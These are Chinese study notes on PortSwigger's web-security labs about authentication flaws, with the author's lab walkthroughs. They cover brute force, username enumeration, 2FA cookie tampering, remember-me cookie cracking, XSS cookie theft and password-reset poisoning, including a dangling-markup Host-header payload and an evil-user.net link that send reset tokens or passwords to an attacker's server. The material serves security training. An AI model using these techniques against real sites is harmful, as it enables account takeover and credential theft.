身份验证

所有内容，来自burpsuite官方靶场（portswigger）

身份验证漏洞

什么是认证？

身份验证是验证给定用户或客户端身份的过程。换句话说，它涉及确保他们确实是他们声称的人。至少在某种程度上，网站会向任何通过设计连接到互联网的人公开。因此，强大的身份验证机制是有效 Web 安全的一个组成部分。

可以将不同类型的身份验证分为三种身份验证因素：

你知道的信息，例如密码或安全问题的答案。这些有时被称为“知识因素”。
你拥有的东西，也就是像手机或安全令牌这样的物理对象。这些有时被称为“占有因素”。
有些事情，你是或做，例如，你的生物特征或行为模式。这些有时被称为“内在因素”。

身份验证机制依赖于一系列技术来验证这些因素中的一个或多个。

身份验证和授权的区别？

身份验证是验证用户确实是他们声称的成分的过程，而授权涉及验证用户是否被允许做一些事情。在网站或 Web 应用程序的上下文中，身份验证确定尝试使用用户名访问该网站的人是否Carlos123真的是创建该帐户的人。一旦Carlos123通过身份验证，他的权限将决定他是否被授权，例如访问其他用户的个人信息或执行删除其他用户帐户等操作。

身份验证漏洞是如何产生的？

从广义上讲，身份验证机制中的大多数漏洞都以以下两种方式之一出现：

身份验证机制很弱，因为它们无法充分防止暴力攻击。
实现中的逻辑缺陷或糟糕的编码允许攻击者完全绕过身份验证机制。这有时称为“损坏的身份验证”。

在 Web 开发的许多领域，逻辑缺陷会导致网站出现意外行为，这可能是也可能不是安全问题。然而，由于身份验证对安全性如此重要，有缺陷的身份验证逻辑使网站面临安全问题的可能性明显增加。

易受攻击的身份验证有什么影响？

身份验证漏洞的影响可能非常严重。一旦攻击者绕过身份验证或强行进入另一个用户的帐户，他们就可以访问受感染帐户拥有的所有数据和功能。如果他们能够破坏系统管理员等高特权帐户，他们就可以完全控制整个应用程序，并有可能获得对内部基础设施的访问权限。

即使破坏低权限帐户，攻击者仍可能会访问他们不应该拥有的数据，例如商业敏感的商业信息。即使该帐户无权访问任何敏感数据，它仍可能允许攻击者访问其他页面，从而提供进一步的攻击面。通常，某些高严重性攻击不可能来自可公开访问的页面，但可能来自内部页面。

身份验证机制中的漏洞

网站的身份验证系统通常由几种不同的机制组成，其中可能会出现漏洞。一些漏洞广泛适用于所有这些上下文，而其他漏洞则更特定于所提供的功能。

下面三个领域中会有一些常见漏洞

基于密码登录的漏洞
多因素身份验证漏洞
其他身份验证机制中的漏洞

基于密码登录的漏洞

暴力攻击

暴力攻击是指攻击者用反复试验的系统来尝试猜测有效的用户名凭据。这些攻击通常使用用户名和密码的词表自动进行。自动化此过程，尤其是使用专用工具，可能使攻击者能够高速进行大量登录尝试。

蛮力并不总是只是对用户名和密码进行完全随机猜测的情况。通过使用基本逻辑或公开可用的知识，攻击者可以微调暴力攻击以做出更有根据的猜测。这大大提高了此类攻击的效率。依赖基于密码的登录作为验证用户身份的唯一方法的网站，如果没有实施足够的暴力保护，就极易受到攻击。

暴力破解用户名

如果用户名符合可识别的模式（例如电子邮件地址），则用户名特别容易猜到。例如，在格式中看到业务登录是很常见的firstname.lastname@somecompany.com。然而，即使没有明显的模式，有时甚至使用可预测的用户名创建高权限帐户，例如admin或administrator。

在审核过程中，检查网站是否公开披露了潜在的用户名。例如，能否在不登录的情况下访问用户配置文件？即使配置文件的实际内容被隐藏，配置文件中使用的名称有时与登录用户名相同。还应该检查 HTTP 响应以查看是否泄露了任何电子邮件地址。有时，回复包含管理员和 IT 支持等高特权用户的电子邮件地址。

暴力破解密码

密码也可以类似地被暴力破解，其难度因密码的强度而异。许多网站采用某种形式的密码策略，迫使用户创建高熵密码，至少从理论上讲，单独使用蛮力更难破解。这通常涉及通过以下方式强制执行密码：

最少字符数
小写和大写字母的混合
至少一个特殊字符

然而，虽然高熵密码很难由计算机单独破解，但可以利用人类行为的基本知识来利用用户在不知不觉中引入该系统的漏洞。与使用随机字符组合创建强密码不同，用户通常会使用他们可以记住的密码，并尝试将其撬开以适应密码策略。例如，如果mypassword不允许，用户可以尝试类似Mypassword1!或Myp4$$w0rd代替。

在策略要求用户定期更改密码的情况下，用户只需对其首选密码进行轻微的、可预测的更改也很常见。例如，Mypassword1!变成Mypassword1?或Mypassword2!.了解可能的凭据和可预测的模式意味着暴力攻击通常比简单地迭代每个可能的字符组合更复杂，因此更有效。

用户名枚举

用户名枚举是指攻击者能够观察网站行为的变化，以确定给定的用户名是否有效。

用户名枚举通常出现在登录页面上，例如，当输入有效的用户名但密码不正确时，或者在输入已被使用的用户名时出现在注册表单上。这大大减少了暴力登录所需的时间和精力，因为攻击者能够快速生成有效用户名的候选列表。

在尝试对登录页面进行暴力破解时，应该特别注意以下方面的任何差异：

状态代码：在暴力攻击期间，返回的 HTTP 状态代码对于绝大多数猜测可能是相同的，因为大多数猜测都是错误的。如果猜测返回不同的状态代码，这强烈表明用户名是正确的。无论结果如何，网站始终返回相同的状态代码是最佳做法，但并不总是遵循这种做法。
错误消息：有时返回的错误消息会有所不同，具体取决于用户名和密码是否都不正确或仅密码不正确。网站的最佳做法是在这两种情况下使用相同的通用消息，但有时会出现小的打字错误。只要一个字符错位就可以使两条消息不同，即使在呈现的页面上看不到该字符的情况下也是如此。
响应时间：如果大多数请求都以类似的响应时间处理，任何偏离此时间的请求都表明幕后发生了一些不同的事情。这是猜测的用户名可能是正确的另一个迹象。例如，如果用户名有效，网站可能只检查密码是否正确。这个额外的步骤可能会导致响应时间略有增加。这可能是微妙的，但攻击者可以通过输入网站需要更长的时间来处理的过长密码来使这种延迟更加明显。

LAB：通过不同发响应枚举用户名

再爆破密码

LAB：通过微妙不同的响应枚举用户名

再尝试密码

LAB：通过响应时间枚举用户名

设置X-Forwarded-For标头后

academico

再尝试密码

有缺陷的蛮力保护

在攻击者成功破坏帐户之前，蛮力攻击很可能会涉及许多失败的猜测。从逻辑上讲，蛮力保护围绕着尝试使过程自动化并减慢攻击者尝试登录的速度尽可能棘手。防止蛮力攻击的两种最常见方法是：

如果远程用户尝试登录失败次数过多，则锁定他们尝试访问的帐户
如果远程用户的 IP 地址快速连续进行过多的登录尝试，则阻止远程用户的 IP 地址

两种方法都提供不同程度的保护，但都不是无懈可击的，尤其是在使用有缺陷的逻辑实施时。

例如，如果登录失败的次数过多，有时可能会发现 IP 被阻止。在某些实现中，如果 IP 所有者成功登录，则失败尝试次数的计数器会重置。这意味着攻击者只需每隔几次尝试登录自己的帐户即可防止达到此限制。

在这种情况下，仅在整个单词列表中定期包含您自己的登录凭据就足以使这种防御几乎毫无用处。

LAB：破解强力保护、IP封锁

在爆破字典中每隔一行插入正确的账户和密码（解除IP封锁）

未知原因、爆破次数多了也会被ban…只能分批量的进行

账户锁定

网站尝试防止暴力破解的一种方法是在满足某些可疑标准时锁定帐户，通常是一定数量的失败登录尝试。就像正常的登录错误一样，来自服务器的响应表明帐户被锁定也可以帮助攻击者枚举用户名。

锁定帐户可提供一定程度的保护，以防止对特定帐户进行有针对性的暴力破解。然而，这种方法无法充分防止暴力攻击，在这种攻击中，攻击者只是试图访问他们可以访问的任何随机帐户。

例如，可以使用以下方法来解决这种保护：

建立可能有效的候选用户名列表。这可以通过用户名枚举或简单地基于常用用户名列表。
确定一个您认为至少一个用户可能拥有的非常小的密码候选名单。至关重要的是，您选择的密码数量不得超过允许的登录尝试次数。例如，如果您计算出限制为 3 次尝试，则您需要选择最多 3 次密码猜测。
使用诸如 Burp Intruder 之类的工具，使用每个候选用户名尝试每个选定的密码。这样，您可以尝试在不触发帐户锁定的情况下对每个帐户进行暴力破解。您只需要一个用户使用三个密码中的一个就可以入侵一个帐户。

帐户锁定也无法防止凭据填充攻击。这涉及使用大量username:password成对字典，由在数据泄露中窃取的真实登录凭据组成。凭据填充依赖于许多人在多个网站上重复使用相同的用户名和密码这一事实，因此，字典中的某些受损凭据有可能在目标网站上也有效。帐户锁定不能防止凭证填充，因为每个用户名只被尝试一次。凭证填充特别危险，因为它有时会导致攻击者仅通过一次自动攻击就破坏许多不同的帐户

LAB：通过账户锁定的用户名枚举

错误账户在尝试次数过多后只会提示账户/密码错误，正确账户在尝试多次后会锁定账户、凭此差异看返回包长度确定正确的账户名，再根据正确的账户名爆破密码

用户速率限制

网站尝试防止暴力破解的另一方法是通过限制用户的速率：在短时间内发出过多的登录请求会导致IP被封锁，通常只能通过以下方式之一解锁IP：

经一段时间后自动解锁
由管理员手动
成功完成验证后由用户手动操作

限制用户速率有时比账户锁定更受欢迎，因为它太不容易发生用户名枚举和拒绝服务攻击。但任然不是完全安全的。由于该限制是基于从用户IP地址发出的HTTP请求速率，因此如果可以计算出如何通过单个请求猜测多个密码，有时也可绕过此防御

LAB：单个请求有多个凭据

单次请求携带多个payload

HTTP基本认证

尽管相当古老、但它相对简单和易于实现意味着有时可能会看到使用HTTP基本身份认证。在HTTP基本认证中，客户端从服务器接受一个令牌，该令牌是通过将用户名和密码连接起来并用Base64编码来构造。此令牌由浏览器存储和管理，浏览器会自动将其添加到Authorization每个后续请求的标头中，如下：

Authorization: Basic base64(username:password)

由于多种原因，这通常不被视为安全的身份验证方法。首先，它涉及在每个请求中重复发送用户的登录凭据。除非网站也实施 HSTS，否则用户凭证很容易被中间人攻击捕获。

此外，HTTP 基本身份验证的实现通常不支持强力保护。由于令牌仅由静态值组成，因此很容易被暴力破解。

HTTP 基本身份验证也特别容易受到与会话相关的攻击，特别是CSRF，它本身不提供任何保护。

在某些情况下，利用易受攻击的 HTTP 基本身份验证可能只会授予攻击者访问看似无趣的页面的权限。但是，除了提供进一步的攻击面之外，以这种方式暴露的凭据可能会在其他更机密的上下文中重复使用。

多因素身份验证中的漏洞

许多网站完全依赖使用密码的单因素身份验证来对用户进行身份验证。但是，有些要求用户使用多个身份验证因素来证明其身份。

对于大多数网站来说，验证生物特征因素是不切实际的。但是，越来越普遍地看到强制和可选的双因素身份验证 (2FA) 基于你所知道的和你拥有的东西。这通常要求用户从他们拥有的带外物理设备中输入传统密码和临时验证码。

虽然有时攻击者有可能获得单个基于知识的因素，例如密码，但能够同时从带外源获得另一个因素的可能性要小得多。因此，双因素身份验证明显比单因素身份验证更安全。但是，与任何安全措施一样，它的安全性取决于其实施。执行不力的双因素身份验证可以被击败，甚至完全绕过，就像单因素身份验证一样。

还值得注意的是，多因素身份验证的全部好处只能通过验证多个不同的因素来实现。以两种不同的方式验证相同的因素并不是真正的双因素身份验证。基于电子邮件的 2FA 就是这样一个例子。尽管用户必须提供密码和验证码，但访问代码仅依赖于他们知道其电子邮件帐户的登录凭据。因此，知识认证因素只是被验证了两次。

两因素身份验证令牌

验证码通常由用户从某种物理设备上读取。许多高安全性网站现在为此目的为用户提供专用设备，例如可能用来访问网上银行或工作笔记本电脑的 RSA 令牌或键盘设备。除了专为安全而设计外，这些专用设备还具有直接生成验证码的优势。出于同样的原因，网站也经常使用专用的移动应用程序，例如 Google Authenticator。

另一方面，一些网站将验证码作为短信发送到用户的手机。虽然这在技术上仍在验证“你拥有的东西”的因素，但它很容易被滥用。首先，代码是通过 SMS 传输的，而不是由设备本身生成的。这会造成代码被拦截的可能性。还存在 SIM 交换的风险，即攻击者通过欺诈手段获取带有受害者电话号码的 SIM 卡。然后，攻击者将收到发送给受害者的所有 SMS 消息，包括包含其验证码的消息。

绕过双重身份验证

有时，双因素身份验证的实施存在缺陷，以至于可以完全绕过它。

如果首先提示用户输入密码，然后在单独的页面上提示输入验证码，则用户在输入验证码之前实际上处于“登录”状态。在这种情况下，值得进行测试，看看是否可以在完成第一个身份验证步骤后直接跳到“仅登录”页面。有时，会发现网站实际上并没有在加载页面之前检查是否完成了第二步。

LAB：2FA简单旁路

正常登录、使用邮箱验证码等到正常登录后的URL:/my-account。使用受害人的账户密码登录，不输入邮箱验证码，直接访问/my-account

有缺陷的两因素验证逻辑

有时，双重身份验证中的逻辑缺陷意味着在用户完成初始登录步骤后，网站无法充分验证同一用户是否正在完成第二步。

例如，用户在第一步中使用其正常凭据登录，如下所示：

POST /login-steps/first HTTP/1.1
Host: vulnerable-website.com
...
username=carlos&password=qwerty

然后，在进入登录过程的第二步之前，他们会被分配一个与其帐户相关的 cookie：

HTTP/1.1 200 OK
Set-Cookie: account=carlos

GET /login-steps/second HTTP/1.1
Cookie: account=carlos

提交验证码时，请求使用此 cookie 来确定用户尝试访问的帐户：

POST /login-steps/second 
HTTP/1.1Host: vulnerable-website.com
Cookie: account=carlos
...
verification-code=123456

在这种情况下，攻击者可以使用自己的凭据登录，然后account在提交验证码时将 cookie 的值更改为任意用户名。

POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=victim-user
...
verification-code=123456

如果攻击者随后能够暴力破解验证码，这是极其危险的，因为这将允许他们完全基于用户名登录任意用户的帐户。他们甚至不需要知道用户的密码。

LAB：2FA逻辑不通

正常登录、浏览数据包、发现第二因素验证时、在cookie中加了字段表明身份，修改为受害者用户账户名时，HTTP状态200、故猜测可以修改cookie中的身份账户为受害者账户并爆破出第二因素验证码

…未知原因…爆破失败

暴力破解2FA验证码

与密码一样，网站需要采取措施防止 2FA 验证码的暴力破解。这一点尤其重要，因为代码通常是一个简单的 4 位或 6 位数字。如果没有足够的蛮力保护，破解这样的代码是微不足道的

实验略…网络不好暴力破解耗时较长

其他身份验证机制中的漏洞

除了基本的登录功能外，大多数网站还提供补充功能以允许用户管理他们的帐户。例如，用户通常可以在忘记密码时更改密码或重置密码。这些机制还可能引入攻击者可以利用的漏洞。

保持用户登录

一个常见功能是即使在关闭浏览器会话后也可以保持登录状态。这通常是一个简单的复选框，标有“记住我”或“让我登录”之类的标签。

此功能通常通过生成某种“记住我”令牌来实现，然后将其存储在持久 cookie 中。由于有效地拥有此 cookie 可以让绕过整个登录过程，因此最佳实现是让此 cookie 无法猜测。但是，某些网站会根据可预测的静态值串联生成此 cookie，例如用户名和时间戳。有些甚至使用密码作为 cookie 的一部分。如果攻击者能够创建自己的帐户，这种方法尤其危险，因为他们可以研究自己的 cookie 并可能推断出它是如何生成的。一旦他们制定出公式，他们就可以尝试暴力破解其他用户的 cookie 以访问他们的帐户。

一些网站假设如果 cookie 以某种方式加密，即使它确实使用静态值，它也不会被猜测。虽然这种方法可能是正确的，但使用像 Base64 这样简单的双向编码天真地“加密”cookie 不会提供任何保护。即使使用具有单向哈希函数的适当加密也不是完全安全的。如果攻击者能够轻松识别散列算法，并且不使用盐，他们可能会通过简单地散列其单词列表来暴力破解 cookie。如果类似的限制不适用于 cookie 猜测，则此方法可用于绕过登录尝试限制。

LAB：暴力破解保持登录状态的cookie

保持登录状态、正常登录

发现其cookie值的构造为base64(username+':'+md5(Password))

安装规则设置payload 爆破

即使攻击者无法创建自己的帐户，他们仍然可以利用此漏洞。使用通常的技术，例如XSS，攻击者可以窃取另一个用户的“记住我”cookie，并由此推断 cookie 是如何构造的。如果网站是使用开源框架构建的，那么 cookie 构建的关键细节甚至可能会被公开记录。

在极少数情况下，即使经过哈希处理，也可以从 cookie 中以明文形式获取用户的实际密码。众所周知的密码列表的散列版本可在线获得，因此如果用户的密码出现在这些列表之一中，解密散列有时就像将散列粘贴到搜索引擎中一样简单。这证明了盐在有效加密中的重要性。

LAB：离线密码破解

在文章的留言区，留下xss，等待cookie

重置用户密码

某些用户会忘记他们的密码，因此应用程序通常有办法让他们重置密码。由于在这种情况下基于密码的身份验证显然是不可能的，因此网站必须依靠替代方法来确保真实用户正在重置自己的密码。出于这个原因，密码重置功能本质上是危险的，需要安全地实施。

通常实现此功能有几种不同的方式，具有不同程度的漏洞。

通过电子邮件发送密码

如果网站要安全地处理密码，就永远不可能向用户发送他们当前的密码。相反，一些网站会生成一个新密码并通过电子邮件将其发送给用户。

一般来说，应避免通过不安全的渠道发送持久密码。在这种情况下，安全性取决于生成的密码在很短的时间后过期，或者用户立即再次更改密码。否则，这种方法很容易受到中间人攻击。

鉴于收件箱是持久性的并且并非真正为机密信息的安全存储而设计，因此电子邮件通常也不被认为是安全的。许多用户还通过不安全的渠道在多个设备之间自动同步他们的收件箱。

使用URL重置密码

一种更强大的重置密码的方法是向用户发送一个唯一的 URL，将他们带到密码重置页面。此方法的不太安全的实现使用带有易于猜测的参数的 URL 来识别正在重置的帐户，例如：

http://vulnerable-website.com/reset-password?user=victim-user

在此示例中，攻击者可以更改user参数以引用他们已识别的任何用户名。然后他们将被直接带到一个页面，在那里他们可以为这个任意用户设置一个新密码。

这个过程的一个更好的实现是生成一个高熵、难以猜测的令牌，并基于它创建重置 URL。在最佳情况下，此 URL 不应提供有关正在重置哪个用户密码的提示。

http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8

当用户访问此 URL 时，系统应检查后端是否存在此令牌，如果存在，则应重置哪个用户的密码。此令牌应在短时间内过期，并在重置密码后立即销毁。

但是，某些网站在提交重置表单时也无法再次验证令牌。在这种情况下，攻击者可以简单地从他们自己的帐户访问重置表单，删除令牌，然后利用此页面重置任意用户的密码。

LAB：密码重置逻辑错误

删除temp-forgot-password-token字段的值

发现重置密码未检测token。

忘记密码提交carlos，重置密码

如果重置邮件中的 URL 是动态生成的，这也可能容易受到密码重置中毒的影响。在这种情况下，攻击者可能会窃取另一个用户的令牌并使用它来更改他们的密码。

LAB：通过中间件重置密码中毒

把发送的目标改为攻击服务器：添加头：X-Forwarded-Host，后面加上服务器的域名，注意不要加https://
然后在服务器的log中可以看见修改密码链接的token

重置自己的账号、替换掉token

Tips：X-Forwarded-Host (XFH) 是一个事实上的标准首部，用来确定客户端发起的请求中使用 Host 指定的初始域名。

反向代理（如负载均衡服务器、CDN等）的域名或端口号可能会与处理请求的源头服务器有所不同，在这种情况下，X-Forwarded-Host 可以用来确定哪一个域名是最初被用来访问的。

密码重置中毒

密码重置中毒是一种技术，攻击者可借此操作易受攻击的网站生成指向其控制下的域的密码重置链接。可利用这种行为来窃取重置任意用户密码所需的密码令牌，并最终破坏他们的账户。

密码重置如何工作

几乎所有需要登录的网站都实现了允许用户在忘记密码时重置密码的功能。有几种方法可以做到这一点，具有不同程度的安全性和实用性。最常见的方法之一是这样的：

用户输入他们的用户名或电子邮件地址并提交密码重置请求。
该网站检查该用户是否存在，然后生成一个临时的、唯一的、高熵的令牌，它与后端的用户帐户相关联。
该网站会向用户发送一封电子邮件，其中包含重置密码的链接。用户的唯一重置令牌作为查询参数包含在相应的 URL 中：
https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
当用户访问此 URL 时，网站会检查提供的令牌是否有效，并使用它来确定正在重置的帐户。如果一切都如预期的那样，用户可以选择输入新密码。最后，令牌被销毁。

与其他一些方法相比，此过程足够简单且相对安全。然而，它的安全性依赖于这样的原则，即只有目标用户才能访问他们的电子邮件收件箱，因此只能访问他们的唯一令牌。密码重置中毒是一种窃取此令牌以更改其他用户密码的方法。

如何构造密码重置中毒攻击

如果发送给用户的 URL 是基于可控输入动态生成的，例如 Host 头，则有可能构造如下密码重置中毒攻击：

攻击者根据需要获取受害者的电子邮件地址或用户名，并代表他们提交密码重置请求。提交表单时，他们拦截生成的 HTTP 请求并修改 Host 标头，使其指向他们控制的域。对于此示例，我们将使用evil-user.net.
受害者直接从网站收到一封真正的密码重置电子邮件。这似乎包含一个用于重置其密码的普通链接，并且至关重要的是，它包含一个与其帐户相关联的有效密码重置令牌。但是，URL 中的域名指向了攻击者的服务器：
https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j
如果受害者单击此链接（或以其他方式获取该链接，例如通过防病毒扫描程序），密码重置令牌将被传送到攻击者的服务器。
攻击者现在可以访问易受攻击网站的真实 URL，并通过相应的参数提供受害者被盗的令牌。然后，他们将能够将用户的密码重置为他们喜欢的任何密码，然后登录到他们的帐户。

例如，在真正的攻击中，攻击者可能会通过首先用虚假的违规通知预热受害者来增加受害者点击链接的可能性。

即使无法控制密码重置链接，有时也可以使用 Host 标头将 HTML 注入敏感电子邮件中。请注意，电子邮件客户端通常不执行 JavaScript，但其他 HTML 注入技术（如悬空标记攻击）可能仍然适用。

LAB：基本密码重置中毒

正常逻辑：点击密码重置、输入被重置账户、登录预留邮箱、点击重置URL、输入新密码

发现邮件中的重置URL中含有token

修改host标头，发现任然有效，并邮箱中的重置URL包含了修改后的host标头

将Host 标头更改为的漏洞利用服务器的域名，并将username参数更改为carlos

将token替换至第一封密码重置邮件中的URL后，访问，即可修改密码

LAB：通过中间件重置密码中毒 以上已记录

LAB：通过悬挂标记重置密码中毒

重置密码、新密码包含在邮件正文中。查看代理历史记录，注意到GET /email请求的响应，包含了邮件的HTML内容，邮件内容在显示前经过了DOMPurify处理

电邮的源代码

POST /forgot-password请求中，在HOST中添加任意非数字端口，重置密码邮件仍能发送成功。查看电邮源代码（HTML）

注入的位数字端口后就是新的密码

再次注入悬空标记payload
ost: your-lab-id.web-security-academy.net:'<a href="//your-exploit-server-id.web-security-academy.net/?

收到一封缺少大部分内容的新电子邮件，查看漏洞利用服务器日志

接收到新密码

更改用户密码

通常，更改密码需要输入当前密码，然后输入两次新密码。这些页面基本上依赖于检查用户名和当前密码是否匹配正常登录页面的相同过程。因此，这些页面可能容易受到相同技术的攻击。

如果密码更改功能允许攻击者直接访问它而不以受害者用户身份登录，它可能会特别危险。例如，如果在隐藏字段中提供了用户名，攻击者可能能够在请求中编辑此值以针对任意用户。这可能被利用来枚举用户名和暴力密码。

LAB：通过密码更改进行密码暴力破解

登录后，修改密码：需要输入当前密码和新密码俩次

当前密码不正确，两次新密码不一致时提示：New passwords do not match
当前密码正确，两次新密码不一致时提示：Current password is incorrect

利用上述差异，爆破

第三方身份验证机制中的漏洞

OAuth 身份验（后续有单独专题）

如何保护身份验证机制

注意用户凭证

永远不应该通过未加密的连接发送任何登录数据。
确保通过将任何尝试的 HTTP 请求重定向到 HTTPS 。

不指望用户的安全观念

防止用户名枚举

无论尝试的用户名是否有效，重要的是使用相同的通用错误消息，并确保它们确实相同。应该始终为每个登录请求返回相同的 HTTP 状态代码，最后，使不同场景中的响应时间尽可能难以区分。

防止暴力破解

多重检测验证逻辑

不要忽略补充功能

确保不要只关注中央登录页面而忽略与身份验证相关的其他功能。在攻击者可以自由注册自己的帐户并探索此功能的情况下，这一点尤其重要。请记住，密码重置或更改与主要登录机制一样是有效的攻击面，因此必须同样强大。